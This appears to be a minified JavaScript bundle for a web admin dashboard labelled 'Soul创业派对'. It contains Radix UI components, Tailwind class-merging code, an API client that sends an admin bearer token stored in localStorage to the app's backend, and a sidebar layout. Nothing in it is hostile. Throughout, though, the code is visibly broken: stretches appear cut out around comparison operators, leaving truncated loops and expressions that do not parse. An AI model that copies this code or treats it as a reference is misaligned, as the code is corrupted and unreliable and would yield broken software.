e&&e.isReactWarning,n?t.props.ref:t.props.ref||t.ref)}var xI=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],ht=xI.reduce((t,e)=>{const n=ed(`Primitive.${e}`),r=b.forwardRef((a,i)=>{const{asChild:o,...c}=a,u=o?n:e;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),s.jsx(u,{...c,ref:i})});return r.displayName=`Primitive.${e}`,{...t,[e]:r}},{});function yI(t,e){t&&md.flushSync(()=>t.dispatchEvent(e))}function bi(t){const e=b.useRef(t);return b.useEffect(()=>{e.current=t}),b.useMemo(()=>(...n)=>{var r;return(r=e.current)==null?void 0:r.call(e,...n)},[])}function bI(t,e=globalThis==null?void 0:globalThis.document){const n=bi(t);b.useEffect(()=>{const r=a=>{a.key==="Escape"&&n(a)};return e.addEventListener("keydown",r,{capture:!0}),()=>e.removeEventListener("keydown",r,{capture:!0})},[n,e])}var vI="DismissableLayer",zg="dismissableLayer.update",NI="dismissableLayer.pointerDownOutside",wI="dismissableLayer.focusOutside",Xv,wj=b.createContext({layers:new Set,layersWithOutsidePointerEventsDisabled:new Set,branches:new Set}),Ux=b.forwardRef((t,e)=>{const{disableOutsidePointerEvents:n=!1,onEscapeKeyDown:r,onPointerDownOutside:a,onFocusOutside:i,onInteractOutside:o,onDismiss:c,...u}=t,h=b.useContext(wj),[f,m]=b.useState(null),g=(f==null?void 0:f.ownerDocument)??(globalThis==null?void 0:globalThis.document),[,y]=b.useState({}),N=Ct(e,L=>m(L)),w=Array.from(h.layers),[v]=[...h.layersWithOutsidePointerEventsDisabled].slice(-1),k=w.indexOf(v),C=f?w.indexOf(f):-1,E=h.layersWithOutsidePointerEventsDisabled.size>0,T=C>=k,I=SI(L=>{const R=L.target,D=[...h.branches].some(_=>_.contains(R));!T||D||(a==null||a(L),o==null||o(L),L.defaultPrevented||c==null||c())},g),O=CI(L=>{const R=L.target;[...h.branches].some(_=>_.contains(R))||(i==null||i(L),o==null||o(L),L.defaultPrevented||c==null||c())},g);return bI(L=>{C===h.layers.size-1&&(r==null||r(L),!L.defaultPrevented&&c&&(L.preventDefault(),c()))},g),b.useEffect(()=>{if(f)return n&&(h.layersWithOutsidePointerEventsDisabled.size===0&&(Xv=g.body.style.pointerEvents,g.body.style.pointerEvents="none"),h.layersWithOutsidePointerEventsDisabled.add(f)),h.layers.add(f),Zv(),()=>{n&&h.layersWithOutsidePointerEventsDisabled.size===1&&(g.body.style.pointerEvents=Xv)}},[f,g,n,h]),b.useEffect(()=>()=>{f&&(h.layers.delete(f),h.layersWithOutsidePointerEventsDisabled.delete(f),Zv())},[f,h]),b.useEffect(()=>{const L=()=>y({});return document.addEventListener(zg,L),()=>document.removeEventListener(zg,L)},[]),s.jsx(ht.div,{...u,ref:N,style:{pointerEvents:E?T?"auto":"none":void 0,...t.style},onFocusCapture:ot(t.onFocusCapture,O.onFocusCapture),onBlurCapture:ot(t.onBlurCapture,O.onBlurCapture),onPointerDownCapture:ot(t.onPointerDownCapture,I.onPointerDownCapture)})});Ux.displayName=vI;var jI="DismissableLayerBranch",kI=b.forwardRef((t,e)=>{const n=b.useContext(wj),r=b.useRef(null),a=Ct(e,r);return b.useEffect(()=>{const i=r.current;if(i)return n.branches.add(i),()=>{n.branches.delete(i)}},[n.branches]),s.jsx(ht.div,{...t,ref:a})});kI.displayName=jI;function SI(t,e=globalThis==null?void 0:globalThis.document){const n=bi(t),r=b.useRef(!1),a=b.useRef(()=>{});return b.useEffect(()=>{const i=c=>{if(c.target&&!r.current){let u=function(){jj(NI,n,h,{discrete:!0})};const h={originalEvent:c};c.pointerType==="touch"?(e.removeEventListener("click",a.current),a.current=u,e.addEventListener("click",a.current,{once:!0})):u()}else e.removeEventListener("click",a.current);r.current=!1},o=window.setTimeout(()=>{e.addEventListener("pointerdown",i)},0);return()=>{window.clearTimeout(o),e.removeEventListener("pointerdown",i),e.removeEventListener("click",a.current)}},[e,n]),{onPointerDownCapture:()=>r.current=!0}}function CI(t,e=globalThis==null?void 0:globalThis.document){const n=bi(t),r=b.useRef(!1);return b.useEffect(()=>{const a=i=>{i.target&&!r.current&&jj(wI,n,{originalEvent:i},{discrete:!1})};return e.addEventListener("focusin",a),()=>e.removeEventListener("focusin",a)},[e,n]),{onFocusCapture:()=>r.current=!0,onBlurCapture:()=>r.current=!1}}function Zv(){const t=new CustomEvent(zg);document.dispatchEvent(t)}function jj(t,e,n,{discrete:r}){const a=n.originalEvent.target,i=new CustomEvent(t,{bubbles:!1,cancelable:!0,detail:n});e&&a.addEventListener(t,e,{once:!0}),r?yI(a,i):a.dispatchEvent(i)}var Pm="focusScope.autoFocusOnMount",Om="focusScope.autoFocusOnUnmount",e1={bubbles:!1,cancelable:!0},EI="FocusScope",Kx=b.forwardRef((t,e)=>{const{loop:n=!1,trapped:r=!1,onMountAutoFocus:a,onUnmountAutoFocus:i,...o}=t,[c,u]=b.useState(null),h=bi(a),f=bi(i),m=b.useRef(null),g=Ct(e,w=>u(w)),y=b.useRef({paused:!1,pause(){this.paused=!0},resume(){this.paused=!1}}).current;b.useEffect(()=>{if(r){let w=function(E){if(y.paused||!c)return;const T=E.target;c.contains(T)?m.current=T:Za(m.current,{select:!0})},v=function(E){if(y.paused||!c)return;const T=E.relatedTarget;T!==null&&(c.contains(T)||Za(m.current,{select:!0}))},k=function(E){if(document.activeElement===document.body)for(const I of E)I.removedNodes.length>0&&Za(c)};document.addEventListener("focusin",w),document.addEventListener("focusout",v);const C=new MutationObserver(k);return c&&C.observe(c,{childList:!0,subtree:!0}),()=>{document.removeEventListener("focusin",w),document.removeEventListener("focusout",v),C.disconnect()}}},[r,c,y.paused]),b.useEffect(()=>{if(c){n1.add(y);const w=document.activeElement;if(!c.contains(w)){const k=new CustomEvent(Pm,e1);c.addEventListener(Pm,h),c.dispatchEvent(k),k.defaultPrevented||(TI(PI(kj(c)),{select:!0}),document.activeElement===w&&Za(c))}return()=>{c.removeEventListener(Pm,h),setTimeout(()=>{const k=new CustomEvent(Om,e1);c.addEventListener(Om,f),c.dispatchEvent(k),k.defaultPrevented||Za(w??document.body,{select:!0}),c.removeEventListener(Om,f),n1.remove(y)},0)}}},[c,h,f,y]);const N=b.useCallback(w=>{if(!n&&!r||y.paused)return;const v=w.key==="Tab"&&!w.altKey&&!w.ctrlKey&&!w.metaKey,k=document.activeElement;if(v&&k){const C=w.currentTarget,[E,T]=MI(C);E&&T?!w.shiftKey&&k===T?(w.preventDefault(),n&&Za(E,{select:!0})):w.shiftKey&&k===E&&(w.preventDefault(),n&&Za(T,{select:!0})):k===C&&w.preventDefault()}},[n,r,y.paused]);return s.jsx(ht.div,{tabIndex:-1,...o,ref:g,onKeyDown:N})});Kx.displayName=EI;function TI(t,{select:e=!1}={}){const n=document.activeElement;for(const r of t)if(Za(r,{select:e}),document.activeElement!==n)return}function MI(t){const e=kj(t),n=t1(e,t),r=t1(e.reverse(),t);return[n,r]}function kj(t){const e=[],n=document.createTreeWalker(t,NodeFilter.SHOW_ELEMENT,{acceptNode:r=>{const a=r.tagName==="INPUT"&&r.type==="hidden";return r.disabled||r.hidden||a?NodeFilter.FILTER_SKIP:r.tabIndex>=0?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}});for(;n.nextNode();)e.push(n.currentNode);return e}function t1(t,e){for(const n of t)if(!AI(n,{upTo:e}))return n}function AI(t,{upTo:e}){if(getComputedStyle(t).visibility==="hidden")return!0;for(;t;){if(e!==void 0&&t===e)return!1;if(getComputedStyle(t).display==="none")return!0;t=t.parentElement}return!1}function II(t){return t instanceof HTMLInputElement&&"select"in t}function Za(t,{select:e=!1}={}){if(t&&t.focus){const n=document.activeElement;t.focus({preventScroll:!0}),t!==n&&II(t)&&e&&t.select()}}var n1=RI();function RI(){let t=[];return{add(e){const n=t[0];e!==n&&(n==null||n.pause()),t=r1(t,e),t.unshift(e)},remove(e){var n;t=r1(t,e),(n=t[0])==null||n.resume()}}}function r1(t,e){const n=[...t],r=n.indexOf(e);return r!==-1&&n.splice(r,1),n}function PI(t){return t.filter(e=>e.tagName!=="A")}var OI="Portal",qx=b.forwardRef((t,e)=>{var c;const{container:n,...r}=t,[a,i]=b.useState(!1);or(()=>i(!0),[]);const o=n||a&&((c=globalThis==null?void 0:globalThis.document)==null?void 0:c.body);return o?Ow.createPortal(s.jsx(ht.div,{...r,ref:e}),o):null});qx.displayName=OI;function DI(t,e){return b.useReducer((n,r)=>e[n][r]??n,t)}var gd=t=>{const{present:e,children:n}=t,r=LI(e),a=typeof n=="function"?n({present:r.isPresent}):b.Children.only(n),i=Ct(r.ref,_I(a));return typeof n=="function"||r.isPresent?b.cloneElement(a,{ref:i}):null};gd.displayName="Presence";function LI(t){const[e,n]=b.useState(),r=b.useRef(null),a=b.useRef(t),i=b.useRef("none"),o=t?"mounted":"unmounted",[c,u]=DI(o,{mounted:{UNMOUNT:"unmounted",ANIMATION_OUT:"unmountSuspended"},unmountSuspended:{MOUNT:"mounted",ANIMATION_END:"unmounted"},unmounted:{MOUNT:"mounted"}});return b.useEffect(()=>{const h=Mu(r.current);i.current=c==="mounted"?h:"none"},[c]),or(()=>{const h=r.current,f=a.current;if(f!==t){const g=i.current,y=Mu(h);t?u("MOUNT"):y==="none"||(h==null?void 0:h.display)==="none"?u("UNMOUNT"):u(f&&g!==y?"ANIMATION_OUT":"UNMOUNT"),a.current=t}},[t,u]),or(()=>{if(e){let h;const f=e.ownerDocument.defaultView??window,m=y=>{const w=Mu(r.current).includes(CSS.escape(y.animationName));if(y.target===e&&w&&(u("ANIMATION_END"),!a.current)){const v=e.style.animationFillMode;e.style.animationFillMode="forwards",h=f.setTimeout(()=>{e.style.animationFillMode==="forwards"&&(e.style.animationFillMode=v)})}},g=y=>{y.target===e&&(i.current=Mu(r.current))};return e.addEventListener("animationstart",g),e.addEventListener("animationcancel",m),e.addEventListener("animationend",m),()=>{f.clearTimeout(h),e.removeEventListener("animationstart",g),e.removeEventListener("animationcancel",m),e.removeEventListener("animationend",m)}}else u("ANIMATION_END")},[e,u]),{isPresent:["mounted","unmountSuspended"].includes(c),ref:b.useCallback(h=>{r.current=h?getComputedStyle(h):null,n(h)},[])}}function Mu(t){return(t==null?void 0:t.animationName)||"none"}function _I(t){var r,a;let e=(r=Object.getOwnPropertyDescriptor(t.props,"ref"))==null?void 0:r.get,n=e&&"isReactWarning"in e&&e.isReactWarning;return n?t.ref:(e=(a=Object.getOwnPropertyDescriptor(t,"ref"))==null?void 0:a.get,n=e&&"isReactWarning"in e&&e.isReactWarning,n?t.props.ref:t.props.ref||t.ref)}var Dm=0;function Sj(){b.useEffect(()=>{const t=document.querySelectorAll("[data-radix-focus-guard]");return document.body.insertAdjacentElement("afterbegin",t[0]??s1()),document.body.insertAdjacentElement("beforeend",t[1]??s1()),Dm++,()=>{Dm===1&&document.querySelectorAll("[data-radix-focus-guard]").forEach(e=>e.remove()),Dm--}},[])}function s1(){const t=document.createElement("span");return t.setAttribute("data-radix-focus-guard",""),t.tabIndex=0,t.style.outline="none",t.style.opacity="0",t.style.position="fixed",t.style.pointerEvents="none",t}var Vs=function(){return Vs=Object.assign||function(e){for(var n,r=1,a=arguments.length;r"u")return eR;var e=tR(t),n=document.documentElement.clientWidth,r=window.innerWidth;return{left:e[0],top:e[1],right:e[2],gap:Math.max(0,r-n+e[2]-e[0])}},rR=Mj(),bl="data-scroll-locked",sR=function(t,e,n,r){var a=t.left,i=t.top,o=t.right,c=t.gap;return n===void 0&&(n="margin"),` + */const XA=[["path",{d:"M4 14a1 1 0 0 1-.78-1.63l9.9-10.2a.5.5 0 0 1 .86.46l-1.92 6.02A1 1 0 0 0 13 10h7a1 1 0 0 1 .78 1.63l-9.9 10.2a.5.5 0 0 1-.86-.46l1.92-6.02A1 1 0 0 0 11 14z",key:"1xq2db"}]],li=Me("zap",XA),Vx="admin_token";function pf(){try{return localStorage.getItem(Vx)}catch{return null}}function ZA(t){try{localStorage.setItem(Vx,t)}catch{}}function Mm(){try{localStorage.removeItem(Vx)}catch{}}const e5="https://soulapi.quwanzhi.com",t5=15e3,Hv=6e4,n5=()=>{const t="https://soulapi.quwanzhi.com";return t.length>0?t.replace(/\/$/,""):e5};function go(t){const e=n5(),n=t.startsWith("/")?t:`/${t}`;return e?`${e}${n}`:n}async function mf(t,e={}){const{data:n,...r}=e,a=go(t),i=new Headers(r.headers),o=pf();o&&i.set("Authorization",`Bearer ${o}`),n!=null&&!i.has("Content-Type")&&i.set("Content-Type","application/json");const c=n!=null?JSON.stringify(n):r.body,u=r.timeout??t5,h=new AbortController,f=setTimeout(()=>h.abort(),u),m=await fetch(a,{...r,headers:i,body:c,credentials:"include",signal:h.signal}).finally(()=>clearTimeout(f)),y=(m.headers.get("Content-Type")||"").includes("application/json")?await m.json():m,N=w=>{const v=w,k=((v==null?void 0:v.message)||(v==null?void 0:v.error)||"").toString();(k.includes("可提现金额不足")||k.includes("可提现不足")||k.includes("余额不足"))&&window.dispatchEvent(new CustomEvent("recharge-alert",{detail:k}))};if(!m.ok){N(y);const w=new Error((y==null?void 0:y.error)||`HTTP ${m.status}`);throw w.status=m.status,w.data=y,w}return N(y),y}function De(t,e){return mf(t,{...e,method:"GET"})}function vt(t,e,n){return mf(t,{...n,method:"POST",data:e})}function zt(t,e,n){return mf(t,{...n,method:"PUT",data:e})}function Bs(t,e){return mf(t,{...e,method:"DELETE"})}function r5(){const[t,e]=b.useState(!1),[n,r]=b.useState("");return b.useEffect(()=>{const a=i=>{const o=i.detail;r(o||"可提现/余额不足,请及时充值商户号"),e(!0)};return window.addEventListener("recharge-alert",a),()=>window.removeEventListener("recharge-alert",a)},[]),t?s.jsxs("div",{className:"flex items-center justify-between gap-4 px-4 py-3 bg-red-900/80 border-b border-red-600/50 text-red-100",role:"alert",children:[s.jsxs("div",{className:"flex items-center gap-3 min-w-0",children:[s.jsx(qw,{className:"w-5 h-5 shrink-0 text-red-400"}),s.jsxs("span",{className:"text-sm font-medium",children:[n,s.jsx("span",{className:"ml-2 text-red-300",children:"请及时充值商户号或核对账户后重试。"})]})]}),s.jsx("button",{type:"button",onClick:()=>e(!1),className:"shrink-0 p-1 rounded hover:bg-red-800/50 transition-colors","aria-label":"关闭告警",children:s.jsx(ir,{className:"w-4 h-4"})})]}):null}const s5=[{icon:HM,label:"数据概览",href:"/dashboard"},{icon:Br,label:"内容管理",href:"/content"},{icon:Zn,label:"用户管理",href:"/users"},{icon:NM,label:"找伙伴",href:"/find-partner"},{icon:jl,label:"推广中心",href:"/distribution"}];function a5(){const t=Si(),e=Ci(),[n,r]=b.useState(!1),[a,i]=b.useState(!1);b.useEffect(()=>{r(!0)},[]),b.useEffect(()=>{if(!n)return;i(!1);let c=!1;if(!pf()){e("/login",{replace:!0});return}return De("/api/admin").then(u=>{c||(u&&u.success!==!1?i(!0):(Mm(),e("/login",{replace:!0,state:{from:t.pathname}})))}).catch(()=>{c||(Mm(),e("/login",{replace:!0,state:{from:t.pathname}}))}),()=>{c=!0}},[t.pathname,n,e]);const o=async()=>{Mm();try{await vt("/api/admin/logout",{})}catch{}e("/login",{replace:!0})};return!n||!a?s.jsxs("div",{className:"flex min-h-screen bg-[#0a1628]",children:[s.jsx("div",{className:"w-64 bg-[#0f2137] border-r border-gray-700/50"}),s.jsx("div",{className:"flex-1 flex items-center justify-center",children:s.jsx("div",{className:"text-[#38bdac]",children:"加载中..."})})]}):s.jsxs("div",{className:"flex min-h-screen bg-[#0a1628]",children:[s.jsxs("div",{className:"w-64 bg-[#0f2137] flex flex-col border-r border-gray-700/50 shadow-xl",children:[s.jsxs("div",{className:"p-6 border-b border-gray-700/50",children:[s.jsx("h1",{className:"text-xl font-bold text-[#38bdac]",children:"管理后台"}),s.jsx("p",{className:"text-xs text-gray-400 mt-1",children:"Soul创业派对"})]}),s.jsxs("nav",{className:"flex-1 p-4 space-y-1 overflow-y-auto",children:[s5.map(c=>{const u=t.pathname===c.href;return s.jsxs(Eg,{to:c.href,className:`flex items-center gap-3 px-4 py-3 rounded-lg transition-colors ${u?"bg-[#38bdac]/20 text-[#38bdac] font-medium":"text-gray-400 hover:bg-gray-700/50 hover:text-white"}`,children:[s.jsx(c.icon,{className:"w-5 h-5 shrink-0"}),s.jsx("span",{className:"text-sm",children:c.label})]},c.href)}),s.jsx("div",{className:"pt-4 mt-4 border-t border-gray-700/50",children:s.jsxs(Eg,{to:"/settings",className:`flex items-center gap-3 px-4 py-3 rounded-lg transition-colors ${t.pathname==="/settings"?"bg-[#38bdac]/20 text-[#38bdac] font-medium":"text-gray-400 hover:bg-gray-700/50 hover:text-white"}`,children:[s.jsx(lo,{className:"w-5 h-5 shrink-0"}),s.jsx("span",{className:"text-sm",children:"系统设置"})]})})]}),s.jsx("div",{className:"p-4 border-t border-gray-700/50 space-y-1",children:s.jsxs("button",{type:"button",onClick:o,className:"w-full flex items-center gap-3 px-4 py-3 text-gray-400 hover:text-white rounded-lg hover:bg-gray-700/50 transition-colors",children:[s.jsx(ZM,{className:"w-5 h-5"}),s.jsx("span",{className:"text-sm",children:"退出登录"})]})})]}),s.jsxs("div",{className:"flex-1 overflow-auto bg-[#0a1628] min-w-0 flex flex-col",children:[s.jsx(r5,{}),s.jsx("div",{className:"w-full min-w-[1024px] min-h-full flex-1",children:s.jsx(vT,{})})]})]})}function Wv(t,e){if(typeof t=="function")return t(e);t!=null&&(t.current=e)}function Hx(...t){return e=>{let n=!1;const r=t.map(a=>{const i=Wv(a,e);return!n&&typeof i=="function"&&(n=!0),i});if(n)return()=>{for(let a=0;a{let{children:i,...o}=r;sj(i)&&typeof hh=="function"&&(i=hh(i._payload));const c=b.Children.toArray(i),u=c.find(d5);if(u){const h=u.props.children,f=c.map(m=>m===u?b.Children.count(h)>1?b.Children.only(null):b.isValidElement(h)?h.props.children:null:m);return s.jsx(e,{...o,ref:a,children:b.isValidElement(h)?b.cloneElement(h,void 0,f):null})}return s.jsx(e,{...o,ref:a,children:i})});return n.displayName=`${t}.Slot`,n}var ij=aj("Slot");function l5(t){const e=b.forwardRef((n,r)=>{let{children:a,...i}=n;if(sj(a)&&typeof hh=="function"&&(a=hh(a._payload)),b.isValidElement(a)){const o=h5(a),c=u5(i,a.props);return a.type!==b.Fragment&&(c.ref=r?Hx(r,o):o),b.cloneElement(a,c)}return b.Children.count(a)>1?b.Children.only(null):null});return e.displayName=`${t}.SlotClone`,e}var c5=Symbol("radix.slottable");function d5(t){return b.isValidElement(t)&&typeof t.type=="function"&&"__radixId"in t.type&&t.type.__radixId===c5}function u5(t,e){const n={...e};for(const r in e){const a=t[r],i=e[r];/^on[A-Z]/.test(r)?a&&i?n[r]=(...c)=>{const u=i(...c);return a(...c),u}:a&&(n[r]=a):r==="style"?n[r]={...a,...i}:r==="className"&&(n[r]=[a,i].filter(Boolean).join(" "))}return{...t,...n}}function h5(t){var r,a;let e=(r=Object.getOwnPropertyDescriptor(t.props,"ref"))==null?void 0:r.get,n=e&&"isReactWarning"in e&&e.isReactWarning;return n?t.ref:(e=(a=Object.getOwnPropertyDescriptor(t,"ref"))==null?void 0:a.get,n=e&&"isReactWarning"in e&&e.isReactWarning,n?t.props.ref:t.props.ref||t.ref)}function oj(t){var e,n,r="";if(typeof t=="string"||typeof t=="number")r+=t;else if(typeof t=="object")if(Array.isArray(t)){var a=t.length;for(e=0;etypeof t=="boolean"?`${t}`:t===0?"0":t,Kv=lj,cj=(t,e)=>n=>{var r;if((e==null?void 0:e.variants)==null)return Kv(t,n==null?void 0:n.class,n==null?void 0:n.className);const{variants:a,defaultVariants:i}=e,o=Object.keys(a).map(h=>{const f=n==null?void 0:n[h],m=i==null?void 0:i[h];if(f===null)return null;const g=Uv(f)||Uv(m);return a[h][g]}),c=n&&Object.entries(n).reduce((h,f)=>{let[m,g]=f;return g===void 0||(h[m]=g),h},{}),u=e==null||(r=e.compoundVariants)===null||r===void 0?void 0:r.reduce((h,f)=>{let{class:m,className:g,...y}=f;return Object.entries(y).every(N=>{let[w,v]=N;return Array.isArray(v)?v.includes({...i,...c}[w]):{...i,...c}[w]===v})?[...h,m,g]:h},[]);return Kv(t,o,u,n==null?void 0:n.class,n==null?void 0:n.className)},f5=(t,e)=>{const n=new Array(t.length+e.length);for(let r=0;r({classGroupId:t,validator:e}),dj=(t=new Map,e=null,n)=>({nextPart:t,validators:e,classGroupId:n}),fh="-",qv=[],m5="arbitrary..",g5=t=>{const e=y5(t),{conflictingClassGroups:n,conflictingClassGroupModifiers:r}=t;return{getClassGroupId:o=>{if(o.startsWith("[")&&o.endsWith("]"))return x5(o);const c=o.split(fh),u=c[0]===""&&c.length>1?1:0;return uj(c,u,e)},getConflictingClassGroupIds:(o,c)=>{if(c){const u=r[o],h=n[o];return u?h?f5(h,u):u:h||qv}return n[o]||qv}}},uj=(t,e,n)=>{if(t.length-e===0)return n.classGroupId;const a=t[e],i=n.nextPart.get(a);if(i){const h=uj(t,e+1,i);if(h)return h}const o=n.validators;if(o===null)return;const c=e===0?t.join(fh):t.slice(e).join(fh),u=o.length;for(let h=0;ht.slice(1,-1).indexOf(":")===-1?void 0:(()=>{const e=t.slice(1,-1),n=e.indexOf(":"),r=e.slice(0,n);return r?m5+r:void 0})(),y5=t=>{const{theme:e,classGroups:n}=t;return b5(n,e)},b5=(t,e)=>{const n=dj();for(const r in t){const a=t[r];Wx(a,n,r,e)}return n},Wx=(t,e,n,r)=>{const a=t.length;for(let i=0;i{if(typeof t=="string"){N5(t,e,n);return}if(typeof t=="function"){w5(t,e,n,r);return}j5(t,e,n,r)},N5=(t,e,n)=>{const r=t===""?e:hj(e,t);r.classGroupId=n},w5=(t,e,n,r)=>{if(k5(t)){Wx(t(r),e,n,r);return}e.validators===null&&(e.validators=[]),e.validators.push(p5(n,t))},j5=(t,e,n,r)=>{const a=Object.entries(t),i=a.length;for(let o=0;o{let n=t;const r=e.split(fh),a=r.length;for(let i=0;i"isThemeGetter"in t&&t.isThemeGetter===!0,S5=t=>{if(t<1)return{get:()=>{},set:()=>{}};let e=0,n=Object.create(null),r=Object.create(null);const a=(i,o)=>{n[i]=o,e++,e>t&&(e=0,r=n,n=Object.create(null))};return{get(i){let o=n[i];if(o!==void 0)return o;if((o=r[i])!==void 0)return a(i,o),o},set(i,o){i in n?n[i]=o:a(i,o)}}},_g="!",Gv=":",C5=[],Jv=(t,e,n,r,a)=>({modifiers:t,hasImportantModifier:e,baseClassName:n,maybePostfixModifierPosition:r,isExternal:a}),E5=t=>{const{prefix:e,experimentalParseClassName:n}=t;let r=a=>{const i=[];let o=0,c=0,u=0,h;const f=a.length;for(let w=0;wu?h-u:void 0;return Jv(i,y,g,N)};if(e){const a=e+Gv,i=r;r=o=>o.startsWith(a)?i(o.slice(a.length)):Jv(C5,!1,o,void 0,!0)}if(n){const a=r;r=i=>n({className:i,parseClassName:a})}return r},T5=t=>{const e=new Map;return t.orderSensitiveModifiers.forEach((n,r)=>{e.set(n,1e6+r)}),n=>{const r=[];let a=[];for(let i=0;i0&&(a.sort(),r.push(...a),a=[]),r.push(o)):a.push(o)}return a.length>0&&(a.sort(),r.push(...a)),r}},M5=t=>({cache:S5(t.cacheSize),parseClassName:E5(t),sortModifiers:T5(t),...g5(t)}),A5=/\s+/,I5=(t,e)=>{const{parseClassName:n,getClassGroupId:r,getConflictingClassGroupIds:a,sortModifiers:i}=e,o=[],c=t.trim().split(A5);let u="";for(let h=c.length-1;h>=0;h-=1){const f=c[h],{isExternal:m,modifiers:g,hasImportantModifier:y,baseClassName:N,maybePostfixModifierPosition:w}=n(f);if(m){u=f+(u.length>0?" "+u:u);continue}let v=!!w,k=r(v?N.substring(0,w):N);if(!k){if(!v){u=f+(u.length>0?" "+u:u);continue}if(k=r(N),!k){u=f+(u.length>0?" "+u:u);continue}v=!1}const C=g.length===0?"":g.length===1?g[0]:i(g).join(":"),E=y?C+_g:C,T=E+k;if(o.indexOf(T)>-1)continue;o.push(T);const I=a(k,v);for(let O=0;O0?" "+u:u)}return u},R5=(...t)=>{let e=0,n,r,a="";for(;e{if(typeof t=="string")return t;let e,n="";for(let r=0;r{let n,r,a,i;const o=u=>{const h=e.reduce((f,m)=>m(f),t());return n=M5(h),r=n.cache.get,a=n.cache.set,i=c,c(u)},c=u=>{const h=r(u);if(h)return h;const f=I5(u,n);return a(u,f),f};return i=o,(...u)=>i(R5(...u))},O5=[],Mn=t=>{const e=n=>n[t]||O5;return e.isThemeGetter=!0,e},pj=/^\[(?:(\w[\w-]*):)?(.+)\]$/i,mj=/^\((?:(\w[\w-]*):)?(.+)\)$/i,D5=/^\d+\/\d+$/,L5=/^(\d+(\.\d+)?)?(xs|sm|md|lg|xl)$/,_5=/\d+(%|px|r?em|[sdl]?v([hwib]|min|max)|pt|pc|in|cm|mm|cap|ch|ex|r?lh|cq(w|h|i|b|min|max))|\b(calc|min|max|clamp)\(.+\)|^0$/,z5=/^(rgba?|hsla?|hwb|(ok)?(lab|lch)|color-mix)\(.+\)$/,$5=/^(inset_)?-?((\d+)?\.?(\d+)[a-z]+|0)_-?((\d+)?\.?(\d+)[a-z]+|0)/,F5=/^(url|image|image-set|cross-fade|element|(repeating-)?(linear|radial|conic)-gradient)\(.+\)$/,rl=t=>D5.test(t),ut=t=>!!t&&!Number.isNaN(Number(t)),Ya=t=>!!t&&Number.isInteger(Number(t)),Am=t=>t.endsWith("%")&&ut(t.slice(0,-1)),ha=t=>L5.test(t),B5=()=>!0,V5=t=>_5.test(t)&&!z5.test(t),gj=()=>!1,H5=t=>$5.test(t),W5=t=>F5.test(t),U5=t=>!$e(t)&&!Fe(t),K5=t=>Ol(t,bj,gj),$e=t=>pj.test(t),Zi=t=>Ol(t,vj,V5),Im=t=>Ol(t,Q5,ut),Yv=t=>Ol(t,xj,gj),q5=t=>Ol(t,yj,W5),Eu=t=>Ol(t,Nj,H5),Fe=t=>mj.test(t),Sc=t=>Dl(t,vj),G5=t=>Dl(t,X5),Qv=t=>Dl(t,xj),J5=t=>Dl(t,bj),Y5=t=>Dl(t,yj),Tu=t=>Dl(t,Nj,!0),Ol=(t,e,n)=>{const r=pj.exec(t);return r?r[1]?e(r[1]):n(r[2]):!1},Dl=(t,e,n=!1)=>{const r=mj.exec(t);return r?r[1]?e(r[1]):n:!1},xj=t=>t==="position"||t==="percentage",yj=t=>t==="image"||t==="url",bj=t=>t==="length"||t==="size"||t==="bg-size",vj=t=>t==="length",Q5=t=>t==="number",X5=t=>t==="family-name",Nj=t=>t==="shadow",Z5=()=>{const t=Mn("color"),e=Mn("font"),n=Mn("text"),r=Mn("font-weight"),a=Mn("tracking"),i=Mn("leading"),o=Mn("breakpoint"),c=Mn("container"),u=Mn("spacing"),h=Mn("radius"),f=Mn("shadow"),m=Mn("inset-shadow"),g=Mn("text-shadow"),y=Mn("drop-shadow"),N=Mn("blur"),w=Mn("perspective"),v=Mn("aspect"),k=Mn("ease"),C=Mn("animate"),E=()=>["auto","avoid","all","avoid-page","page","left","right","column"],T=()=>["center","top","bottom","left","right","top-left","left-top","top-right","right-top","bottom-right","right-bottom","bottom-left","left-bottom"],I=()=>[...T(),Fe,$e],O=()=>["auto","hidden","clip","visible","scroll"],L=()=>["auto","contain","none"],R=()=>[Fe,$e,u],D=()=>[rl,"full","auto",...R()],z=()=>[Ya,"none","subgrid",Fe,$e],Z=()=>["auto",{span:["full",Ya,Fe,$e]},Ya,Fe,$e],ne=()=>[Ya,"auto",Fe,$e],fe=()=>["auto","min","max","fr",Fe,$e],xe=()=>["start","end","center","between","around","evenly","stretch","baseline","center-safe","end-safe"],$=()=>["start","end","center","stretch","center-safe","end-safe"],H=()=>["auto",...R()],oe=()=>[rl,"auto","full","dvw","dvh","lvw","lvh","svw","svh","min","max","fit",...R()],P=()=>[t,Fe,$e],q=()=>[...T(),Qv,Yv,{position:[Fe,$e]}],B=()=>["no-repeat",{repeat:["","x","y","space","round"]}],_=()=>["auto","cover","contain",J5,K5,{size:[Fe,$e]}],W=()=>[Am,Sc,Zi],le=()=>["","none","full",h,Fe,$e],J=()=>["",ut,Sc,Zi],Y=()=>["solid","dashed","dotted","double"],V=()=>["normal","multiply","screen","overlay","darken","lighten","color-dodge","color-burn","hard-light","soft-light","difference","exclusion","hue","saturation","color","luminosity"],re=()=>[ut,Am,Qv,Yv],ue=()=>["","none",N,Fe,$e],ce=()=>["none",ut,Fe,$e],ye=()=>["none",ut,Fe,$e],Re=()=>[ut,Fe,$e],Le=()=>[rl,"full",...R()];return{cacheSize:500,theme:{animate:["spin","ping","pulse","bounce"],aspect:["video"],blur:[ha],breakpoint:[ha],color:[B5],container:[ha],"drop-shadow":[ha],ease:["in","out","in-out"],font:[U5],"font-weight":["thin","extralight","light","normal","medium","semibold","bold","extrabold","black"],"inset-shadow":[ha],leading:["none","tight","snug","normal","relaxed","loose"],perspective:["dramatic","near","normal","midrange","distant","none"],radius:[ha],shadow:[ha],spacing:["px",ut],text:[ha],"text-shadow":[ha],tracking:["tighter","tight","normal","wide","wider","widest"]},classGroups:{aspect:[{aspect:["auto","square",rl,$e,Fe,v]}],container:["container"],columns:[{columns:[ut,$e,Fe,c]}],"break-after":[{"break-after":E()}],"break-before":[{"break-before":E()}],"break-inside":[{"break-inside":["auto","avoid","avoid-page","avoid-column"]}],"box-decoration":[{"box-decoration":["slice","clone"]}],box:[{box:["border","content"]}],display:["block","inline-block","inline","flex","inline-flex","table","inline-table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row-group","table-row","flow-root","grid","inline-grid","contents","list-item","hidden"],sr:["sr-only","not-sr-only"],float:[{float:["right","left","none","start","end"]}],clear:[{clear:["left","right","both","none","start","end"]}],isolat